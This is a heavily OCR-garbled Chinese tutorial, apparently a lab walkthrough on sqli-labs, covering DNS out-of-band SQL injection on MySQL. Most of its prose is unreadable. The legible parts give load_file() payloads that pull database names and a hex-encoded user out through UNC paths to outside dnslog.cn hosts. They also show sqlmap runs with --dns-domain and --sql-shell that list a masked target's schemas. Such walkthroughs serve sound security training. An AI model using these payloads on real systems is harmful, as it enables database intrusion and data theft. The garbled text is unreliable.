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At EEiR.
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T, BMENEERBRNEZS. NIBCREEEET TATEI. BT sqimap fH=5Ed
OOB fBERJLNITRIEERIATE), 4882 T JLRD,

RN EMRICXLRGCR Mk, FEEANSIIEFAL RO ZEAR. HEELEFE
BARIZATS, REIME(IZSSR—EERMEENNES.

1.2 [N

I/ NDEIEBENE=. TSR ER, EIFEIMARESL Know how, B Know why, &
VSCIRERAIESBRENMAT), BEITSLUARRMERE,

1.3 ERmSR

(1) FEEANS, AMEEE. TaeH waf 87T, (BT ETFEH A BRE
&, AMRMFEREESSZ, BERHTEINTER.
(2) BMELEEIEIND, (B2 DNS iBKAEIMA.,



(3) BEBESIA% DNS EIRNERAVEIEREREFEZERITE, 5150 MySQL /Y load _file() &

.
(4) 232 Windows EHUEZAIMLAHRSLINEN, Linux EHRSEH,.

T
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2.1 UNC g12iH1E

UNC (Universal Naming Convention) / @&, BIYBEREIE. BRAGEAE,
—& Windows EHIEGATEE, Linux EHERAREE. 8 \\servername\sharename, E
§1 servername 2iR$EE8845. sharename EXZEFENEZTR,

BN ERIERRIFTEINL. WMBHEZIHRET, #<HBEI UNC ESHIE, FESER(IEFEA
UNC E&12RY, BEXJE=ZFHT DNS &if). HbanEEEiTHmA \\ www.freebuf.com , B
wireshark #ll DNS #1701, RILABEFBSSEERS www.freebuf.com XM i#H1T DNS
EKAURE, NTEFRR:
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Windows EiRBIFFFEINGIETR, SR TTHENFRER, 3

f q.'
l 3= s
{432, EEEE Internet FiE,
FTFHO): | \\www.freebuf.co m| v

112 5.123881 192.168.8.188 192.168.8.1 DS BS Standard query Bx75f4 A teredo.ipvh.microsoft.com

113 5.128388 192_168.8.100 192 _168.B.1 DH5 B5 Standard query 8x75f4 A teredo.ipvh.microsoft.com
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176 7.116692 192.168.8.108 192.168.8.1 DS ard query Bx75fd A teredo.ipvb.microsoft.com

203 9123887 192.168.8. 108 152.168.8.1 DHS E 85 Standard query B75f4 A teredo.ipvb.microsoft.com
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OOB, HX£L#RE out of band, #3: HIMES. EE OOB ZRIEZAE SQLI AI9 A=
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Inband —fEEIREEAN. union BXEIEASEANEE, I LAERE R ESRHEEENR
HER, ERWHNEAEREAAT. inference — X IEE, TLUBEIA/REKT. BYERER
SHTEN, TEEERBUE BERRIK,

HAVEFRSZES, WRATH sql iTANIERE (AJRERERFGEIBHIT T i ERT) |
XAMEHERALARIRESERIN 2.1 #1 2.2 FpIATRRT OOB H/MNE(S, #UER oob BYRSLINN
TG

Hi—: BEXFHFHERTE.

HHEE] UNC BBRFRie— > DNS 153K, sql IBauT:

selectload_file('\\\\mygod.kccj9o.dnslog.cn\\111");

L {377 | Onzgal@IE N2 sa ORBE | B xx -7 SHER
Iﬁlocalhost_SSGE ll I_E security ;I b EiT -0 21 PoiRE
1 select load file('\\\\mygod.kccj%o.dnslog.cn\\111");

B% DNSlog HNEE, ELRBHIIBEXIFERT 7%k, TFE:
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kccj9o.dnslog.cn
/ DNS Query Record IP Address Created Time

mygod.kccj9o.dnslog.cn 219.128.134.110 2019-12-16 13:52:29
mygod.keccj9o.dnslog.cn 219.128.134.110 2019-12-16 13:52:29

B BERIEIERER T R,

sql EEGUNT:

select load_file(concat('\\\\', database(),'.pz3vky.dnslog.cn\\111"'));

B FE | DoEselmTR 2 so O RBE | DX -5 Sl
[(Y1ocalhost_3306 =] [Esecurity =] > EfT - W #E PaRE

1 select load_file(concat('‘\\\\', database(), '.szvky.dnslog.cnﬂlll')}j
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&ZE DNSlog fIRIE, ELEHNVEEETHAIEEEESR “security w7 HE, WTE:

DNS Query Record IP Address Created Time
kecurity.pz3vky.dnslog.cn} 219.128.134.102 2019-12-16 13:56:02

BR=: BEEEhRFEET K,

XEF=HMZRER dns IEXRPFERFRFAES, dns iIBRFTETTK. B— NEEHANZER
DBESENFE (a-z, 261) . #=F (0-9, 100) , UR¥EAMIEERS "  (BIDi#E
) , TREERTHRATATR (J! . 8. & ?7%F)

RUEATH TIREARM DNS BRAPQFEFSINT, BESFHEHTHS, XEREE
A hex() S5 16 EI4RES, EUASTIN sql EBEAIT:

select load_file(concat('\\\\', hex(user()),'.pz3vky.dnslog.cn\\111"'));

|ﬁl¢¢a1host,3306 Elrgsc-:urity . El P ET - W ELE YRR
1 select load_file(concat('\\\\', hex{user()), '.pz3vky.dnslog.cn\\111'));
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&% DNSlog RIEE, ELKBI(VEETIARVEIEERRY 16 HETH 7k, WTE:

DNS Query Record IP Address Created Time
726F6F74406C6F63616C686F7374.pz3vky.d 219.128.134.110 2019-12-16 13:59:34
nslog.cn \
7365637572697479.pz3vky.dnslog.cn 219.128.134.110 2019-12-16 13:57:23
security.pz3vky.dnslog.cn 219.128.134.102 2019-12-16 13:56:02

1% 16 WA AT, BRIBAFPEA "root@localhost”

I 726F6F74406C6F63616C086F7374

16EEE=F FREEI6EE BA=ER

| root@localhost

Hftthy OOB FIAEEEERE, LEKERARMTERENE. BRIRNEEFA sqlmap i,
ETFIER. FT—MECEM, FERSUUBENARSEZIR PRI ELREAR.
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F1T=2: MideEERE VPS LNEEREKEI DNS BBmEK(ER, < : tcpdump —n port 53

:~#|tcpdump -n port 53

|
or -vv for full protocol decode

tcpdump: verbose output suppressea, use

listening on eth®, link-type EN1OMB [EBThernet), capture size 262144 bytes
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Sys-default (AF5H: - | HFAE:-)

SFECE (ASAE:- | HEME:-)

4. {5 sglmap FIJFH OOB ARSI S £

4.1 VPS E python IMBRZeEE

—h% vps 98T python2 RUIAE, AL python2 FIMEARERALE. £
114.114.123.120 ®r&3 sqlmap, sqlmap MZEEap<SA: git
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clonegit://github.com/sqlmapproject/sqlmap.git, Z&=4FfE, #HA sqlmap B, FHiT
python sqlmap.py, BREBIEREREIRZRIFIIERA sqlmap

-/sqlmap# cd sqlmap/

I sqlmap# 1:
COMMITMENT doc Lib plugins

sqlmapap
data extra LICENSE README.md sqlmap.
A i & il i=/sglmap/sqlmap#[ python sqlmap.py

thirdparty

_H__
"] _ {1.3.12.1%dev}
] N
] I I_l—.1 _I
I_l http:ffsqlmap.org

)
{
_v.
: python sqlmap.py [options)

sqlmap.py: error: missing a mandatory option (-d, -w, -1, -m, -r, -g, -¢, --list-tampers, --wizard,

--update,
--purge or --dependencies). Use -h for basic and -hh for advanced help

root@ecs-s6-small-1-linux-208190927094918: ~/sqlmap/sqlmap# JJ

= ¥
4.2 5SEIFRIEIEIRIEL
sqlmap fEEEANEIEEATVEN, FENEREIEERRIGSUT:
python sqlmap.py -u "http://qq.xxxxxx.com/Less-9/?id=1"--tech=T --dbms=mysql --current-db --batch

ENERESRY sqlmap BEIEIE, 8 MNFEFEES 155 46 70, WNTFERAT.
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[11:54:53] [WARNING] it is very important te not stress the network comnection during usage of time-based
do ?uu ‘want sqlmap to try to optimize value(s) for DBMS delay responses (optionm '--time-sec')? [Y/n] Y
|l adjusting time delay to 2 seconds due to good response times

invalid character detec el —Tebaing
invalid character detectd e
increasing time delay to 3 seconds

] invalid character de ed. retryvipses
G sing time del 5

d t:fl
rurrent database; =
[11:56:57] etched data logged to text files under '/Jroot/.sqlmap/foutput/qy

FB{EAET DNS /Y OOB SR TIEN, ATERIFE, BEAEEBRLE—IX sql i FARER.
B EMBRRG ST

[11:56:57] [ ] fetched data logged to text files under '/root/.sqlmap/output/q

[*] ending @ 11:56:57 f2019-12-16/

-rf froot/.sqlmap/output/qq.
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BEFERAXNEAER sqlmap EF dns BEiE#H T OOB jEAN, {XN3ERT 17>, HITEIEEEA
ST

python sqglmap.py -u "http://qq.xxxxxx.com/Less-9/?id=1"--tech=T --dbms=mysql --dns-domain=fuzi666.xy

GET parameter 'id®' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sglmap identified the following injection point(s) with a total of 43 HTTP(s) requests:

Parameter: id (GET)
Type: time- ed blind
Title: MySOL >= 5.8.12 AND time-based blind {query SLEEP)
Payload: id=1" AND (SELECT 7632 FROM (SELECT(SLEEP(S)))tZng)- AND "bmlI'='bmlI

] [INFO] the back-end DBMS is MySQL
ieb server operating system: Windo
reb appli 1on technd y: Apache
yack-end DBMS: MySQL »= 5.8.12
[ ] fetching current da
[ | testing for data retr al_through DNS channel
[ | | data retrieval through DNS channel was successful
TI | retrieved: security
urrent data Tcarurity

]
]
]
]
]

fetched data logged| to_text—feEres Under '/root/.sqlmap/output/agq. je.com'

[

[*] ending @ 12:34:24 f2019-12-

4.3 FIF sql-shell HRIEFKENZEGE
B4 sql-shell [E]3k:

python sqlmap.py -u "http://qq.xxxxxx.com/Less-9/?id=1"--tech=T --dbms=mysql --dns-domain=13fuzi.com
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[ ] data retrieval through DNS channel was successful
[12:42:29] [ ] retrieved: security

database(): 'security’

sql-shell=>

sql-shell>

sql-shell>

sql-shell>
sql-shell>
sql-shell>
sql-shell>
sql-shell>

EEUEER, i 47, EREUEERR sql IBEWT:

select schema_name frominformation_schema.schemata;
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sql-shell>
sql-shell> select schema_name from information_schema.schemata;
[12:43:56] [ ] fetching SQL SELECT statement query output: 'select
[12:43:56] [CRITICAL] connection dropped or unknown HTTP status code r
S gclng to retry the request(s)
[12:44:02] [ ] retrieved: 6
the SQL query provided can return 6 entries. How many entries do you
[a] ALl (default)
[#] Specific number
[q]
> A
' retrieyved: information_schema
retrieved: challenges
retrieved: mysqgl
retrieved: performance_schafiia
retrieved: security
:06]] [ ] retrieved: test
ct 5chema name from information_schema.schemata [6]:
information_schema
challenges
mysql
performance_schema
security
test

I
I s
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]
]
]
]
]

sql-shell> |
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